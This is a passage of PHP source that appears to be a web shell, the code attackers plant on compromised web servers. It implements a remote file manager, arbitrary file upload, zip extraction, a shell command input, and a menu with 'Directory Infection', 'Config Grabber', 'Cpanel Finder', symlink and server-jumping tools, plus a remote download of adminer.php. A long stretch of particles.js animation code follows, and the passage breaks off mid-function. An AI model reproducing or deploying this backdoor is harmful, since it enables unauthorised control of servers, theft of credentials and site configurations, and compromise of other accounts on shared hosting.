  2130. <a onclick=\"c('?" . x7 . "deledir&" . x5 . $dir . "/" . $_axu . "')\"><i class='zmdi zmdi-delete zmdi-hc-fw'></i></a>
  2131. </div>";
  2132.  
  2133. print '<td align="center" class="td-file" style="width:10px"><label for="'. $file . '">' . $ckh . '</td>';
  2134. print "<script type='text/javascript'>
  2135. $('#button-".crc32($_axu)."').toolbar({
  2136. content: '#cr-".crc32($_axu)."',
  2137. position: 'top',
  2138. style: 'dark',
  2139. event: 'click',
  2140. hideOnClick: true,
  2141. adjustment: 28
  2142. });</script>";
  2143. }
  2144.  
  2145. print '</tr>';
  2146.  
  2147. foreach($scn as $file) {
  2148. $ftype = filetype("$dir/$file");
  2149. $ftime = date("F d Y g:i:s", filemtime("$dir/$file"));
  2150. $size = filesize("$dir/$file") / 1024;
  2151. $size = round($size, 3);
  2152.  
  2153. switch (true) {
  2154. case ($size > 1024): $size = round($size / 1024, 2) . 'MB';
  2155. break;
  2156. default: $size = $size . 'KB';
  2157. }
  2158.  
  2159. switch (true) {
  2160. case (!is_file("$dir/$file")): continue 2;
  2161. break;
  2162. }
  2163. print '<tr>';
  2164. print '<td class="td-file elip"><i class="zmdi zmdi-file zmdi-hc-fw"></i>&nbsp;<a class="a" onclick="c(\'?' . x7 . 'view&' . x5 . $dir . '&' . x6 . $dir . '/' . $file . '\')">';
  2165.  
  2166. $xfile += 1;
  2167. switch ($file) {
  2168. case (basename($_SERVER['PHP_SELF'])): $aing = '<span class="label-success">' . $file . '</font>';
  2169. break;
  2170. default: $aing = $file;
  2171. }
  2172.  
  2173. print $aing . '</label></a></td>';
  2174. print "<td align='center' class='td-file' id='wh'>".perms($dir."/".$file)."</td>";
  2175. print "<td align='center' class='td-file'>" . $size . "</td>";
  2176.  
  2177. print "<div id='cr-".crc32($file)."' class='hidden'>
  2178. <a onclick=\"c('?" . x7 . "view&" . x5 . $dir . "&" . x6 . $dir . "/" . $file . "')\"><i class='zmdi zmdi-eye zmdi-hc-fw'></i></a>
  2179. <a onclick=\"c('?" . x7 . "edit&" . x5 . $dir . "&" . x6 . $dir . "/" . $file . "')\"><i class='zmdi zmdi-edit zmdi-hc-fw'></i></a>
  2180. <a onclick=\"c('?" . x7 . "rename&" . x5 . $dir . "&" . x6 . $dir . "/" . $file . "')\"><i class='zmdi zmdi-flip zmdi-hc-fw'></i></a>
  2181. <a onclick=\"c('?" . x7 . "chmod&" . x5 . $dir . "&" . x6 . $dir . "/" . $file . "')\"><i class='zmdi zmdi-wrench zmdi-hc-fw'></i></a>
  2182. <a onclick=\"c('?" . x7 . "delete&" . x5 . $dir . "&" . x6 . $dir . "/" . $file . "')\"><i class='zmdi zmdi-delete zmdi-hc-fw'></i></a>
  2183. <a onclick=\"c('?" . x7 . "download&" . x5 . $dir . "&" . x6 . $dir . "/" . $file . "')\"><i class='zmdi zmdi-download zmdi-hc-fw'></i></a>
  2184. </div>";
  2185.  
  2186. print '<td align="center" class="td-file"><a class="a" id="button-'.crc32($file).'">OPEN</a></td>';
  2187. print "<td align='center' class='td-file' style='width:10px'><label><input type='checkbox' name='target[]' value='" . $file . "'><div class='icon'><i class='zmdi zmdi-check zmdi-hc-fw'></i></div></label></td>";
  2188. print "<script type='text/javascript'>
  2189. $('#button-".crc32($file)."').toolbar({
  2190. content: '#cr-".crc32($file)."',
  2191. position: 'top',
  2192. style: 'dark',
  2193. event: 'click',
  2194. hideOnClick: true,
  2195. adjustment: 28
  2196. });</script>";
  2197. }
  2198.  
  2199. switch (true) {
  2200. case ($xdir == NULL): $ydir = 0;
  2201. break;
  2202. default: $ydir = $xdir;
  2203. }
  2204.  
  2205. switch (true) {
  2206. case ($xfile == NULL): $yfile = 0;
  2207. break;
  2208. default: $yfile = $xfile;
  2209. }
  2210. print "</table>
  2211. <table class='table-file'>
  2212. <td class='td-file' style='width:40px'><div style='margin-top:1px'><span class='lawb' onclick='nflo()' style='width:20px'><i class='zmdi zmdi-menu zmdi-hc-fw'></i></span></div></td>
  2213. <td class='td-file' align='left'><div style='margin-bottom:4px'>DIRECTORY : [ <span class='label-success'>" . $ydir . "</span> ] &nbsp;&nbsp; FILE : [ <span class='label-success'>" . $yfile . "</span> ]</div></td>
  2214.  
  2215. </table>
  2216. <table style='width:100%;margin-top:2px' cellspacing ='0'>";
  2217. print "<td style='width:13%;margin-left:10px'><center><label><input type ='checkbox' id ='actchk' onClick ='grow(this.checked);'><div class='icon'><i class='zmdi zmdi-check-all zmdi-hc-fw'></i></div></label></center></td>";
  2218. print "<input type ='hidden' name ='ne' value =''>";
  2219. print "<input type ='hidden' name ='from' value ='" . htmlspecialchars($GLOBALS['cwd']) . "'>";
  2220. print "<input type ='hidden' name ='charset' value ='" . (isset($_UNDERXPLOIT['charset']) ? $_UNDERXPLOIT['charset'] : '') . "'>";
  2221. print "<td style='width:70%'>
  2222. <select name='hcx' style='width:100%' id='act'>";
  2223.  
  2224. if (!empty($_COOKIE['act']) && @count($_COOKIE['target']))
  2225. print "<option value ='paste'>Paste</option>";
  2226. print "<option value =''>-- Select Action --</option>";
  2227. print "<option value ='copy'>Copy</option>";
  2228. print "<option value ='move'>Move</option>";
  2229. print "<option value ='delete'>Delete</option>";
  2230.  
  2231. if (class_exists('ZipArchive'))
  2232. print "<option value ='zip'>Compress (.zip)</option>";
  2233. print "</select></td>";
  2234.  
  2235. if (!empty($_COOKIE['act']) && @count($_COOKIE['target']) && (($_COOKIE['act'] == 'zip')))
  2236. print "<input class='top' type='text' name='xpoz' value='" . rand(0, 100) . "-" . date("Y-m-d") . "." . ($_COOKIE['act'] == 'zip' ? 'zip' : 'tar.gz') . "' style='background:none;border:0;border-left:3px solid #1D9D73;margin-left:5px'>";
  2237. print "<td style='width:20%;text-align:right;padding-left:3px;padding-right:2px'><button type='submit' onclick='m1s(); return false;' class='btn-exe'><i class='zmdi zmdi-long-arrow-return zmdi-hc-fw'></i></button></td></form></table>";
  2238.  
  2239.  
  2240. if (isset($_UNDERXPLOIT['ndir'])) {
  2241. $cdir = $_UNDERXPLOIT['newinput'];
  2242. switch (true) {
  2243. case (is_dir($dir . '/' . $cdir)): bacot('Directory already exist');
  2244. break;
  2245. default: switch (true) {
  2246. case (mkdir($dir . '/' . $cdir, 0777)): print '<script type="text/javascript">c("?' . x5 . $dir . '");</script>';
  2247. break;
  2248. default: bacot('Can\'t create directory');
  2249. }
  2250. }
  2251. }
  2252.  
  2253. if (isset($_UNDERXPLOIT['nfil'])) {
  2254. $cfile = $_UNDERXPLOIT['newinput'];
  2255. switch (true) {
  2256. case (file_exists($dir . '/' . $cfile)): bacot('File already exist');
  2257. break;
  2258. case (fopen($dir . '/' . $cfile, "w+")): print '<script type="text/javascript">c("?' . x7 . 'edit&' . x5 . $dir . '&' . x6 . $dir . '/' . $cfile . '");</script>';
  2259. break;
  2260. default: bacot('Can\'t create file');
  2261. }
  2262. }
  2263.  
  2264. print '<script language="Javascript">
  2265. function cog(){
  2266. if(document.forms[\'new\'].newinput.value === "") {';
  2267. s('Can\'t be empty');
  2268. print 'return false;
  2269. }
  2270. } </script>';
  2271.  
  2272. print '<script type="text/javascript">
  2273. function valid(field) {
  2274. var re = /^[0-9-A-z.]*$/;
  2275. if(!re.test(field.value)) {';
  2276. s('Invalid character');
  2277. print 'field.value = field.value.replace(/[^0-9-A-z.]/g,"");
  2278. }
  2279. } </script>';
  2280.  
  2281. print '<div id="nflo" style="display:none"><table style="margin-top:3px" cellspacing="0">
  2282. <form name="new" action="?'.x5.$dir.'" method="post">
  2283. <td style="padding-left:2px"><input type="text" name="newinput" onkeyup="valid(this);"></td>
  2284. <td style="padding-left:3px"><button type="submit" class="btn-exe" name="ndir" onclick="return cog();"><i class="zmdi zmdi-folder-outline zmdi-hc-fw"></i></button></td>
  2285. <td style="padding-left:3px;padding-right:2px"><button type="submit" class="btn-exe" name="nfil" onclick="return cog();"><i class="zmdi zmdi-file-plus zmdi-hc-fw"></i></button></td>
  2286. </form></table></div></div>';
  2287. }
  2288. print '<script type="text/javascript">
  2289. function nflo() {
  2290. $("#nflo").slideToggle(500);
  2291. } </script>';
  2292. print '<div class="coR">
  2293. <div class="coR-panel">
  2294. <table>
  2295. <td class="td-panel"><center><div class="loader"></div></center></td><td class="td-panel-right">TOOLS</td>
  2296. </table>
  2297. </div>
  2298. <div class="tools-content">';
  2299.  
  2300. $path = getcwd();
  2301. if (isset($_FILES['data'])) {
  2302. switch (true) {
  2303. case (copy($_FILES['data']['tmp_name'], $path . '/' . $_FILES['data']['name'])): mtr('?' . x5 . $dir);
  2304. bacot('File uploaded succesfully');
  2305. break;
  2306. default: bacot('Failed to upload file');
  2307. }
  2308. }
  2309.  
  2310. print '<script type="text/javascript"> function upload(){
  2311. if(document.getElementById("up").value == ""){';
  2312. s('Enter file to upload'); print 'return false;
  2313. } document.getElementById("%").submit();
  2314. } </script>
  2315. <table>
  2316. <td align="center" valign="top" style="width:10%;padding-top:11px"><i class="zmdi zmdi-chevron-right zmdi-hc-fw"></i></td>
  2317. <td style="width:70%">
  2318. <form enctype="multipart/form-data" action="?'.x5.$dir.'" method="POST"><input type="file" name="data" id="up"></td>
  2319. <td style="width:20%" valign="top"><button type="submit" class="btn-exe" style="margin-top:1px" onclick="upload();return false;"><i class="zmdi zmdi-long-arrow-right zmdi-hc-fw"></i></button></form>
  2320. </td>
  2321. </table>';
  2322.  
  2323. if (isset($_UNDERXPLOIT['x'])) {
  2324. $rse = $_UNDERXPLOIT['file_name'];
  2325. $zip = new ZipArchive;
  2326. switch ($_UNDERXPLOIT['file_name']) {
  2327. case ($rse): switch (true) {
  2328. case ($zip -> open($path . '/' . $rse) === TRUE): mtr('?' . x5 . $dir);
  2329. $zip -> extractTo($path); $zip -> close();
  2330. bacot('Extract successfully');
  2331. break;
  2332. default: bacot('Permission denied');
  2333. }
  2334. }
  2335. }
  2336.  
  2337. print '<script type="text/javascript"> function unzip() {
  2338. if(document.getElementById("u").value == ""){'; s('You must choose a zip file');
  2339. print 'return false;
  2340. } document.getElementById("exzip").submit();
  2341. } </script>';
  2342.  
  2343. print '<table><form method="POST" action="?' . x5 . $dir . '">
  2344. <td align="center" style="width:10%"><i class="zmdi zmdi-chevron-right zmdi-hc-fw"></i></td>
  2345. <td style="width:70%"><select name="file_name" id="u">
  2346. <option value=""> -- Extractor (.zip) --</option>';
  2347.  
  2348. $scandir = scandir($path);
  2349. foreach($scandir as $file) {
  2350. switch (true) {
  2351. case (!is_file("$path/$file")): continue 2;
  2352. break;
  2353. }
  2354. switch (true) {
  2355. case (preg_match('/\.zip$/mis', $file)): print '<option>' . $file . '</option>';
  2356. }
  2357. }
  2358.  
  2359. print '</select></td><td style="width:20%;text-align:right"><button id="exzip" type="submit" name="x" class="btn-exe" onclick="unzip();return false;"><i class="zmdi zmdi-long-arrow-return zmdi-hc-fw"></i></button></form></td>
  2360. </table>
  2361. <script type="text/javascript"> function gv() {
  2362. if(document.getElementById("cnsl").value == ""){'; s('Enter your command');
  2363. print 'return false;
  2364. } document.getElementById("exc").submit();
  2365. } </script>
  2366. <table style="margin-top:15px"><form method="POST" action="?' . x7 . 'cmd&' . x5 . $dir . '">
  2367. <td align="center" style="width:10%"><i class="zmdi zmdi-chevron-right zmdi-hc-fw"></i></td>
  2368. <td style="width:70%"><input type="text" placeholder="$" name="cmd" id="cnsl"></td><td style="width:20%;text-align:right"><button type="submit" class="btn-exe" id="exc" onclick="gv();return false;"><i class="zmdi zmdi-long-arrow-return zmdi-hc-fw"></i></button></form></td>
  2369. </table>
  2370. </div>
  2371.  
  2372. <div class="coR-panel top"><table><td class="td-panel"><center><div class="loader"></div></center></td><td class="td-panel-right">MENU</td></table></div>';
  2373. print '<div class="tools-content">';
  2374.  
  2375. print '<table class="ex-hov"><td class="td-tools-left"><i class="zmdi zmdi-chart-donut zmdi-hc-fw"></i></td><td class="td-tools-content">System Information</td><td class="td-tools-icon"><a onclick=\'c("?' . x7 . 'system&' . x5 . $dir . '")\'><button class="btn-exe"><i class="zmdi zmdi-long-arrow-right zmdi-hc-fw"></i></button></a></td></table>';
  2376. print '<table class="ex-hov"><td class="td-tools-left"><i class="zmdi zmdi-chart-donut zmdi-hc-fw"></i></td><td class="td-tools-content">Multiple Upload</td><td class="td-tools-icon"><a onclick=\'c("?' . x7 . 'upload&' . x5 . $dir . '")\'><button class="btn-exe"><i class="zmdi zmdi-long-arrow-right zmdi-hc-fw"></i></button></a></td></table>';
  2377. print '<table class="ex-hov"><td class="td-tools-left"><i class="zmdi zmdi-chart-donut zmdi-hc-fw"></i></td><td class="td-tools-content">Directory Infection</td><td class="td-tools-icon"><a onclick=\'c("?' . x7 . 'infection&' . x5 . $dir . '")\'><button class="btn-exe"><i class="zmdi zmdi-long-arrow-right zmdi-hc-fw"></i></button></a></td></table>';
  2378. print '<table class="ex-hov"><td class="td-tools-left"><i class="zmdi zmdi-chart-donut zmdi-hc-fw"></i></td><td class="td-tools-content">Multiple Hash</td><td class="td-tools-icon"><a onclick=\'c("?' . x7 . 'multihash&' . x5 . $dir . '")\'><button class="btn-exe"><i class="zmdi zmdi-long-arrow-right zmdi-hc-fw"></i></button></a></td></table>';
  2379. print '<table class="ex-hov"><td class="td-tools-left"><i class="zmdi zmdi-chart-donut zmdi-hc-fw"></i></td><td class="td-tools-content">Jumping Server</td><td class="td-tools-icon"><a onclick=\'c("?' . x7 . 'jumping&' . x5 . $dir . '")\'><button class="btn-exe"><i class="zmdi zmdi-long-arrow-right zmdi-hc-fw"></i></button></a></td></table>';
  2380. print '<table class="ex-hov"><td class="td-tools-left"><i class="zmdi zmdi-chart-donut zmdi-hc-fw"></i></td><td class="td-tools-content">Config Grabber</td><td class="td-tools-icon"><a onclick=\'c("?' . x7 . 'config&' . x5 . $dir . '")\'><button class="btn-exe"><i class="zmdi zmdi-long-arrow-right zmdi-hc-fw"></i></button></a></td></table>';
  2381. print '<table class="ex-hov"><td class="td-tools-left"><i class="zmdi zmdi-chart-donut zmdi-hc-fw"></i></td><td class="td-tools-content">Cpanel Finder</td><td class="td-tools-icon"><a onclick=\'c("?' . x7 . 'cpanel&' . x5 . $dir . '")\'><button class="btn-exe"><i class="zmdi zmdi-long-arrow-right zmdi-hc-fw"></i></button></a></td></table>';
  2382. print '<table class="ex-hov"><td class="td-tools-left"><i class="zmdi zmdi-chart-donut zmdi-hc-fw"></i></td><td class="td-tools-content">Multiple Symlink</td><td class="td-tools-icon"><a onclick=\'c("?' . x7 . 'symlink&' . x5 . $dir . '")\'><button class="btn-exe"><i class="zmdi zmdi-long-arrow-right zmdi-hc-fw"></i></button></a></td></table>';
  2383. print '<table class="ex-hov"><td class="td-tools-left"><i class="zmdi zmdi-chart-donut zmdi-hc-fw"></i></td><td class="td-tools-content">Change Password</td><td class="td-tools-icon"><a onclick=\'c("?' . x7 . 'change&' . x5 . $dir . '")\'><button class="btn-exe"><i class="zmdi zmdi-long-arrow-right zmdi-hc-fw"></i></button></a></td></table>';
  2384. print '<table class="ex-hov"><td class="td-tools-left"><i class="zmdi zmdi-pin-drop zmdi-hc-fw"></i></td><td class="td-tools-content">Me : [ <span class="label-success">' . str_replace('/', '', basename($_SERVER['PHP_SELF'])) . ' </span> ]</td><td class="td-tools-icon"><a onclick=\'c("?' . x7 . 'kill&' . x5 . $dir . '")\'><button class="btn-exe"><i class="zmdi zmdi-delete zmdi-hc-fw"></i></button></a></td></table></div>';
  2385.  
  2386. print '<script type="text/javascript">function create(){
  2387. if(document.getElementById("c").value == ""){'; s("Select the file to be created"); print 'return false;
  2388. } document.getElementById("jmbt").submit();
  2389. } </script>';
  2390.  
  2391. switch ($_UNDERXPLOIT['op']) {
  2392. case ('1'): switch (true) {
  2393. case (op('adminer.php', 'https://www.adminer.org/static/download/4.3.1/adminer-4.3.1.php')): mtr('?' . x5 . $dir);
  2394. bacot('File created successfully');
  2395. break;
  2396. default: bacot('Failed to create file');
  2397. }
  2398. }
  2399.  
  2400. print '<div class="tools-content top" style="padding:5px">';
  2401. print '<table><form action="?' . x5 . $dir . '" method="POST"><td align="center" style="width:10%"><i class="zmdi zmdi-chevron-right zmdi-hc-fw"></span></td><td style="width:70%"><select name="op" id="c">';
  2402. print '<option value=""> -- Create file --</option>';
  2403. print '<option value="1">MySQL [ adminer.php ]</option>';
  2404. print '</select>
  2405. </td>
  2406. <td style="width:20%;text-align:right"><button type="submit" class="btn-exe" onclick="create();return false;" id="jmbt"><i class="zmdi zmdi-long-arrow-return zmdi-hc-fw"></i></button></form>
  2407. </td>
  2408. </table>
  2409. </div>';
  2410.  
  2411. print '<script type="text/javascript">
  2412. var pJS = function(tag_id, params) {
  2413. var canvas_el = document.querySelector(\'#\' + tag_id + \' > .particles-js-canvas-el\');
  2414. this.pJS = {
  2415. canvas: {
  2416. el: canvas_el,
  2417. w: canvas_el.offsetWidth,
  2418. h: canvas_el.offsetHeight
  2419. },
  2420. particles: {
  2421. number: {
  2422. value: 400,
  2423. density: {
  2424. enable: !0,
  2425. value_area: 800
  2426. }
  2427. },
  2428. color: {
  2429. value: \'#fff\'
  2430. },
  2431. shape: {
  2432. type: \'circle\',
  2433. stroke: {
  2434. width: 0,
  2435. color: \'#ff0000\'
  2436. },
  2437. polygon: {
  2438. nb_sides: 5
  2439. },
  2440. image: {
  2441. src: \'\',
  2442. width: 100,
  2443. height: 100
  2444. }
  2445. },
  2446. opacity: {
  2447. value: 1,
  2448. random: !1,
  2449. anim: {
  2450. enable: !1,
  2451. speed: 2,
  2452. opacity_min: 0,
  2453. sync: !1
  2454. }
  2455. },
  2456. size: {
  2457. value: 20,
  2458. random: !1,
  2459. anim: {
  2460. enable: !1,
  2461. speed: 20,
  2462. size_min: 0,
  2463. sync: !1
  2464. }
  2465. },
  2466. line_linked: {
  2467. enable: !0,
  2468. distance: 100,
  2469. color: \'#fff\',
  2470. opacity: 1,
  2471. width: 1
  2472. },
  2473. move: {
  2474. enable: !0,
  2475. speed: 2,
  2476. direction: \'none\',
  2477. random: !1,
  2478. straight: !1,
  2479. out_mode: \'out\',
  2480. bounce: !1,
  2481. attract: {
  2482. enable: !1,
  2483. rotateX: 3000,
  2484. rotateY: 3000
  2485. }
  2486. },
  2487. array: []
  2488. },
  2489. interactivity: {
  2490. detect_on: \'canvas\',
  2491. events: {
  2492. onhover: {
  2493. enable: !0,
  2494. mode: \'grab\'
  2495. },
  2496. onclick: {
  2497. enable: !0,
  2498. mode: \'push\'
  2499. },
  2500. resize: !0
  2501. },
  2502. modes: {
  2503. grab: {
  2504. distance: 100,
  2505. line_linked: {
  2506. opacity: 1
  2507. }
  2508. },
  2509. bubble: {
  2510. distance: 200,
  2511. size: 80,
  2512. duration: 0.4
  2513. },
  2514. repulse: {
  2515. distance: 200,
  2516. duration: 0.4
  2517. },
  2518. push: {
  2519. particles_nb: 4
  2520. },
  2521. remove: {
  2522. particles_nb: 2
  2523. }
  2524. },
  2525. mouse: {}
  2526. },
  2527. retina_detect: !1,
  2528. fn: {
  2529. interact: {},
  2530. modes: {},
  2531. vendors: {}
  2532. },
  2533. tmp: {}
  2534. };
  2535. var pJS = this.pJS;
  2536. if (params) {
  2537. Object.deepExtend(pJS, params)
  2538. }
  2539. pJS.tmp.obj = {
  2540. size_value: pJS.particles.size.value,
  2541. size_anim_speed: pJS.particles.size.anim.speed,
  2542. move_speed: pJS.particles.move.speed,
  2543. line_linked_distance: pJS.particles.line_linked.distance,
  2544. line_linked_width: pJS.particles.line_linked.width,
  2545. mode_grab_distance: pJS.interactivity.modes.grab.distance,
  2546. mode_bubble_distance: pJS.interactivity.modes.bubble.distance,
  2547. mode_bubble_size: pJS.interactivity.modes.bubble.size,
  2548. mode_repulse_distance: pJS.interactivity.modes.repulse.distance
  2549. };
  2550. pJS.fn.retinaInit = function() {
  2551. if (pJS.retina_detect && window.devicePixelRatio > 1) {
  2552. pJS.canvas.pxratio = window.devicePixelRatio;
  2553. pJS.tmp.retina = !0
  2554. } else {
  2555. pJS.canvas.pxratio = 1;
  2556. pJS.tmp.retina = !1
  2557. }
  2558. pJS.canvas.w = pJS.canvas.el.offsetWidth * pJS.canvas.pxratio;
  2559. pJS.canvas.h = pJS.canvas.el.offsetHeight * pJS.canvas.pxratio;
  2560. pJS.particles.size.value = pJS.tmp.obj.size_value * pJS.canvas.pxratio;
  2561. pJS.particles.size.anim.speed = pJS.tmp.obj.size_anim_speed * pJS.canvas.pxratio;
  2562. pJS.particles.move.speed = pJS.tmp.obj.move_speed * pJS.canvas.pxratio;
  2563. pJS.particles.line_linked.distance = pJS.tmp.obj.line_linked_distance * pJS.canvas.pxratio;
  2564. pJS.interactivity.modes.grab.distance = pJS.tmp.obj.mode_grab_distance * pJS.canvas.pxratio;
  2565. pJS.interactivity.modes.bubble.distance = pJS.tmp.obj.mode_bubble_distance * pJS.canvas.pxratio;
  2566. pJS.particles.line_linked.width = pJS.tmp.obj.line_linked_width * pJS.canvas.pxratio;
  2567. pJS.interactivity.modes.bubble.size = pJS.tmp.obj.mode_bubble_size * pJS.canvas.pxratio;
  2568. pJS.interactivity.modes.repulse.distance = pJS.tmp.obj.mode_repulse_distance * pJS.canvas.pxratio
  2569. };
  2570. pJS.fn.canvasInit = function() {
  2571. pJS.canvas.ctx = pJS.canvas.el.getContext(\'2d\')
  2572. };
  2573. pJS.fn.canvasSize = function() {
  2574. pJS.canvas.el.width = pJS.canvas.w;
  2575. pJS.canvas.el.height = pJS.canvas.h;
  2576. if (pJS && pJS.interactivity.events.resize) {
  2577. window.addEventListener(\'resize\', function() {
  2578. pJS.canvas.w = pJS.canvas.el.offsetWidth;
  2579. pJS.canvas.h = pJS.canvas.el.offsetHeight;
  2580. if (pJS.tmp.retina) {
  2581. pJS.canvas.w *= pJS.canvas.pxratio;
  2582. pJS.canvas.h *= pJS.canvas.pxratio
  2583. }
  2584. pJS.canvas.el.width = pJS.canvas.w;
  2585. pJS.canvas.el.height = pJS.canvas.h;
  2586. if (!pJS.particles.move.enable) {
  2587. pJS.fn.particlesEmpty();
  2588. pJS.fn.particlesCreate();
  2589. pJS.fn.particlesDraw();
  2590. pJS.fn.vendors.densityAutoParticles()
  2591. }
  2592. pJS.fn.vendors.densityAutoParticles()
  2593. })
  2594. }
  2595. };
  2596. pJS.fn.canvasPaint = function() {
  2597. pJS.canvas.ctx.fillRect(0, 0, pJS.canvas.w, pJS.canvas.h)
  2598. };
  2599. pJS.fn.canvasClear = function() {
  2600. pJS.canvas.ctx.clearRect(0, 0, pJS.canvas.w, pJS.canvas.h)
  2601. };
  2602. pJS.fn.particle = function(color, opacity, position) {
  2603. this.radius = (pJS.particles.size.random ? Math.random() : 1) * pJS.particles.size.value;
  2604. if (pJS.particles.size.anim.enable) {
  2605. this.size_status = !1;
  2606. this.vs = pJS.particles.size.anim.speed / 100;
  2607. if (!pJS.particles.size.anim.sync) {
  2608. this.vs = this.vs * Math.random()
  2609. }
  2610. }
  2611. this.x = position ? position.x : Math.random() * pJS.canvas.w;
  2612. this.y = position ? position.y : Math.random() * pJS.canvas.h;
  2613. if (this.x > pJS.canvas.w - this.radius * 2) this.x = this.x - this.radius;
  2614. else if (this.x < this.radius * 2) this.x = this.x + this.radius;
  2615. if (this.y > pJS.canvas.h - this.radius * 2) this.y = this.y - this.radius;
  2616. else if (this.y < this.radius * 2) this.y = this.y + this.radius;
  2617. if (pJS.particles.move.bounce) {
  2618. pJS.fn.vendors.checkOverlap(this, position)
  2619. }
  2620. this.color = {};
  2621. if (typeof(color.value) == \'object\') {
  2622. if (color.value instanceof Array) {
  2623. var color_selected = color.value[Math.floor(Math.random() * pJS.particles.color.value.length)];
  2624. this.color.rgb = hexToRgb(color_selected)
  2625. } else {
  2626. if (color.value.r != undefined && color.value.g != undefined && color.value.b != undefined) {
  2627. this.color.rgb = {
  2628. r: color.value.r,
  2629. g: color.value.g,
  2630. b: color.value.b
  2631. }
  2632. }
  2633. if (color.value.h != undefined && color.value.s != undefined && color.value.l != undefined) {
  2634. this.color.hsl = {
  2635. h: color.value.h,
  2636. s: color.value.s,
  2637. l: color.value.l
  2638. }
  2639. }
  2640. }
  2641. } else if (color.value == \'random\') {
  2642. this.color.rgb = {
  2643. r: (Math.floor(Math.random() * (255 - 0 + 1)) + 0),
  2644. g: (Math.floor(Math.random() * (255 - 0 + 1)) + 0),
  2645. b: (Math.floor(Math.random() * (255 - 0 + 1)) + 0)
  2646. }
  2647. } else if (typeof(color.value) == \'string\') {
  2648. this.color = color;
  2649. this.color.rgb = hexToRgb(this.color.value)
  2650. }
  2651. this.opacity = (pJS.particles.opacity.random ? Math.random() : 1) * pJS.particles.opacity.value;
  2652. if (pJS.particles.opacity.anim.enable) {
  2653. this.opacity_status = !1;
  2654. this.vo = pJS.particles.opacity.anim.speed / 100;
  2655. if (!pJS.particles.opacity.anim.sync) {
  2656. this.vo = this.vo * Math.random()
  2657. }
  2658. }
  2659. var velbase = {}
  2660. switch (pJS.particles.move.direction) {
  2661. case \'top\':
  2662. velbase = {
  2663. x: 0,
  2664. y: -1
  2665. };
  2666. break;
  2667. case \'top-right\':
  2668. velbase = {
  2669. x: 0.5,
  2670. y: -0.5
  2671. };
  2672. break;
  2673. case \'right\':
  2674. velbase = {
  2675. x: 1,
  2676. y: -0
  2677. };
  2678. break;
  2679. case \'bottom-right\':
  2680. velbase = {
  2681. x: 0.5,
  2682. y: 0.5
  2683. };
  2684. break;
  2685. case \'bottom\':
  2686. velbase = {
  2687. x: 0,
  2688. y: 1
  2689. };
  2690. break;
  2691. case \'bottom-left\':
  2692. velbase = {
  2693. x: -0.5,
  2694. y: 1
  2695. };
  2696. break;
  2697. case \'left\':
  2698. velbase = {
  2699. x: -1,
  2700. y: 0
  2701. };
  2702. break;
  2703. case \'top-left\':
  2704. velbase = {
  2705. x: -0.5,
  2706. y: -0.5
  2707. };
  2708. break;
  2709. default:
  2710. velbase = {
  2711. x: 0,
  2712. y: 0
  2713. };
  2714. break
  2715. }
  2716. if (pJS.particles.move.straight) {
  2717. this.vx = velbase.x;
  2718. this.vy = velbase.y;
  2719. if (pJS.particles.move.random) {
  2720. this.vx = this.vx * (Math.random());
  2721. this.vy = this.vy * (Math.random())
  2722. }
  2723. } else {
  2724. this.vx = velbase.x + Math.random() - 0.5;
  2725. this.vy = velbase.y + Math.random() - 0.5
  2726. }
  2727. this.vx_i = this.vx;
  2728. this.vy_i = this.vy;
  2729. var shape_type = pJS.particles.shape.type;
  2730. if (typeof(shape_type) == \'object\') {
  2731. if (shape_type instanceof Array) {
  2732. var shape_selected = shape_type[Math.floor(Math.random() * shape_type.length)];
  2733. this.shape = shape_selected
  2734. }
  2735. } else {
  2736. this.shape = shape_type
  2737. }
  2738. if (this.shape == \'image\') {
  2739. var sh = pJS.particles.shape;
  2740. this.img = {
  2741. src: sh.image.src,
  2742. ratio: sh.image.width / sh.image.height
  2743. }
  2744. if (!this.img.ratio) this.img.ratio = 1;
  2745. if (pJS.tmp.img_type == \'svg\' && pJS.tmp.source_svg != undefined) {
  2746. pJS.fn.vendors.createSvgImg(this);
  2747. if (pJS.tmp.pushing) {
  2748. this.img.loaded = !1
  2749. }
  2750. }
  2751. }
  2752. };
  2753. pJS.fn.particle.prototype.draw = function() {
  2754. var p = this;
  2755. if (p.radius_bubble != undefined) {
  2756. var radius = p.radius_bubble
  2757. } else {
  2758. var radius = p.radius
  2759. }
  2760. if (p.opacity_bubble != undefined) {
  2761. var opacity = p.opacity_bubble
  2762. } else {
  2763. var opacity = p.opacity
  2764. }
  2765. if (p.color.rgb) {
  2766. var color_value = \'rgba(\' + p.color.rgb.r + \',\' + p.color.rgb.g + \',\' + p.color.rgb.b + \',\' + opacity + \')\'
  2767. } else {
  2768. var color_value = \'hsla(\' + p.color.hsl.h + \',\' + p.color.hsl.s + \'%,\' + p.color.hsl.l + \'%,\' + opacity + \')\'
  2769. }
  2770. pJS.canvas.ctx.fillStyle = color_value;
  2771. pJS.canvas.ctx.beginPath();
  2772. switch (p.shape) {
  2773. case \'circle\':
  2774. pJS.canvas.ctx.arc(p.x, p.y, radius, 0, Math.PI * 2, !1);
  2775. break;
  2776. case \'edge\':
  2777. pJS.canvas.ctx.rect(p.x - radius, p.y - radius, radius * 2, radius * 2);
  2778. break;
  2779. case \'triangle\':
  2780. pJS.fn.vendors.drawShape(pJS.canvas.ctx, p.x - radius, p.y + radius / 1.66, radius * 2, 3, 2);
  2781. break;
  2782. case \'polygon\':
  2783. pJS.fn.vendors.drawShape(pJS.canvas.ctx, p.x - radius / (pJS.particles.shape.polygon.nb_sides / 3.5), p.y - radius / (2.66 / 3.5), radius * 2.66 / (pJS.particles.shape.polygon.nb_sides / 3), pJS.particles.shape.polygon.nb_sides, 1);
  2784. break;
  2785. case \'star\':
  2786. pJS.fn.vendors.drawShape(pJS.canvas.ctx, p.x - radius * 2 / (pJS.particles.shape.polygon.nb_sides / 4), p.y - radius / (2 * 2.66 / 3.5), radius * 2 * 2.66 / (pJS.particles.shape.polygon.nb_sides / 3), pJS.particles.shape.polygon.nb_sides, 2);
  2787. break;
  2788. case \'image\':
  2789. function draw() {
  2790. pJS.canvas.ctx.drawImage(img_obj, p.x - radius, p.y - radius, radius * 2, radius * 2 / p.img.ratio)
  2791. }
  2792. if (pJS.tmp.img_type == \'svg\') {
  2793. var img_obj = p.img.obj
  2794. } else {
  2795. var img_obj = pJS.tmp.img_obj
  2796. }
  2797. if (img_obj) {
  2798. draw()
  2799. }
  2800. break
  2801. }
  2802. pJS.canvas.ctx.closePath();
  2803. if (pJS.particles.shape.stroke.width > 0) {
  2804. pJS.canvas.ctx.strokeStyle = pJS.particles.shape.stroke.color;
